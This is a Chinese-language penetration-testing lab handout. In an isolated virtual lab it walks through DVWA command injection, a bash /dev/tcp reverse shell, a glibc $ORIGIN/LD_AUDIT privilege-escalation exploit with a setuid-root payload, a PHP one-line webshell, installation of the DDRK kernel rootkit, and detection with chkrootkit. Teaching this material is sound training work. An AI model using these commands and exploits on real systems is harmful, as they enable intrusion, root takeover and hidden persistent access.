课程编写

类别

内容

实验课题名称

Linux渗透测试笔记

实验目的与要求

1、了解Web安全中命令注入漏洞

2、了解通过命令注入漏洞反弹shell

3、了解Linux2.6.18-164.e15的提权利用

4、了解如何安装rootkit后门

5、了解如何清除rootkit后门

实验环境

VPC1(虚拟PC)

Kali Linux

VPC1连接要求

PC网络接口,本地连接与VPC2、VPC3互连互通

VPC2(虚拟PC)

Redhat Linux

VPC2连接要求

PC 网络接口,本地连接与VPC1、VPC3互连互通

VPC3(虚拟PC)

Windows 2003

VPC3连接要求

PC 网络接口,本地连接与VPC2、VPC3互连互通

实验环境描述

1、学生机与实验室网络直连

2、VPC1、VPC2、VPC3与实验室网络直连

预备知识

DVWA介绍:

DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

命令注入介绍:

命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。其中最常见的一类攻击行为就是针对数据库系统的SQL(结构化查询语言)注入。常见的SQL语句构成为:对符合特定条件的数据(某些行的某些列)实施增、删、改、查等操作。其中需要符合的条件就是所谓“数据”(如学生数据表中性别为女,或年龄大于10岁等),对这些数据的选取以及实施的某种操作就是“指令”。成功的SQL注入攻击就在于,在输入数据的时候混杂了其它SQL子句,最终拼接成的SQL语句语法是正确的(数据库系统对此毫无防备)并得到执行。

提权:

提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

Rootkit:

在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。

从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。

“Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。

简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。

NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下:A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems.

rootkit并不一定是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。

实验内容

1、学习渗透测试的整个过程

实验步骤

1.学生单击 “试验环境试验”进入实验场景,单击“打开控制台”按钮,进入目标主机。如图1所示:

2.打开虚拟机L011001001win03,输入默认账号administrator,密码123456,进入windows 2003系统主机,并查看ip地址,如图所示:

3.打开虚拟机L011001001kali, 输入用户名为:root ,密码toor,进入Kali Linux中,并查看ip地址,如图所示:

3.打开虚拟机L011001001redhat, 输入用户名为:root ,密码123456,进入Redhat Linux中,并查看ip地址,如图所示:

4.在Redhat虚拟机中,用命令“ /opt/lampp/lampp start”打开Apache、Mysql的服务:

5.在Kali 虚拟机中,用浏览器打开Redhat虚拟机中Web的地址,帐号为admin,密码为password:

6.创建数据库

7.将安全等级设置为low

8.点击进入命令注入漏洞模块:

9.此时在Kali虚拟机中打开终端,输入“nc –v –l –p 80” ,监听本机80端口。

10.在命令注入漏洞模块的输入框中输入“;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1”,然后提交。

11.此时在Kali虚拟机中会反弹回来一个Redhat的shell,如下图所示:

12.输入命令“id”,查看账户属性:

13.输入命令“uname -a”,查看系统版本号:

14.接下来用网上现有的提权步骤进行提权,提权相关文档已放到Kali虚拟机桌面上.

15.将文档里的内容直接复制粘贴到终端即可.

提权exp详细解析:

# 在/tmp下创建可控制的目录

$ mkdir /tmp/exploit

# 链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

# 打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

# 现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3

lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# 删除之前所创建的目录

$ rm -rf /tmp/exploit/

/proc链接仍存在,但已标记为已被删除

$ ls -l /proc/$$/fd/3

lr-x—— 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$ cat > payload.c

void attribute((constructor)) init()

{

setuid(0);

system(“/bin/bash”);

}

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx— 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT=“$ORIGIN” exec /proc/self/fd/3

16.此时输入命令“id”,会发现uid=0,即获得root权限,表示提权成功。

17.接下来我们需要安装木马与rootkit后门,便于以后的进入.在终端输入如图所示命令,即在靶机上建立一个一句话木马文件.

18.此时在Win03虚拟机的D:\tools文件夹下打开中国菜刀chopper,右击界面,点击添加,地址栏里输入一句话木马的路径,后面输入密码,类型选择PHP(Eval),点击添加.

19.此时中国菜刀界面上多了一个目录.

20.双击打开,得到靶机系统的目录.

21.点击进入/tmp文件夹下(因为/tmp文件夹一般为可读可写),右击界面,并点击上传,在D:/tools文件夹下选择ddrk.tar.gz文件,点击打开进行上传.

22.此时在/tmp文件夹下发现多了一个ddrk.tar.gz文件.

DDRK 相关介绍:

DDRK是一个Linux结合shv和adore-ng优点,内核级别的rootkit。

DDRK中包含的文件:

netstat  #替换系统中的netstat,从ssh配置文件中读取端口并隐藏

rk.ko  #内核模块,实现文件和进程的隐藏功能

setup  #rootkit安装文件

tty  #ava工具

bin.tgz

—ttymon

—sshd.tgz

—.sh

—shdcf2  #sshd配置文件

—shhk

—shhk.pub

—shrs

—sshd  #sshd主程序

23.在Kali虚拟机反弹的Shell终端上命令“cd /tmp”与“ls”可查看到/tmp目录确实多了一个ddrk.tar.gz文件.

24.用命令“tar –zxvf ddrk.tar.gz”进行解压.

25.用命令“cd ddrk”与“ls”查看ddrk目录下解压出来的文件.

26.用命令“chmod 777 *”将ddrk下的文件全部赋予可读可写可执行的权限.

27.用命令“./setup 密码 端口号”进行安装并设置密码与端口号,只输入“./setup”,默认密码为123456,默认端口号为43958.

28.此时在Kali虚拟机下打开一个终端,输入命令“ssh -1 root@172.16.1.57 –p 43958”登录到靶机上.

29.用命令“ipconfig”查看ip地址,发现确实是已经登录到了靶机172.16.1.57上了。

30.接下来用工具chkrootkit进行rootkit的检测.可以用ssh将chkrootkit.tar.gz文件上传到redhat虚拟机下,直接在redhat虚拟机里进行检测;也可以直接用中国菜刀将chkrootkit.tar.gz上传到redhat虚拟机下.上传完成后,“ls”进行查看,并用命令“tar –zxvf chkrootkit.tar.gz”进行解压缩.

31.编译安装chkrootkit.

32.把编译好的文件部署到/usr/local/目录中,并删除遗留的文件.至此,安装完毕.

33.安装好的chkrootkit程序位于/usr/local/chkrootkit/chkrootkit,直接执行命令“/usr/local/chkrootkit/chkrootkit”即可对系统rootkit进行全面扫描,并滚动显示出结果,如图:

安全提示:由于chkrootkit的检查过程使用了部分系统命令。因此,如果服务器被入侵,则依赖的系统命令可能也已经被入侵者做了手脚,chkrootkit的结果将变得完全不可信,甚至连系统ls等查看文件的基础命令也变得不可信。

实验到此结束,关闭虚拟机。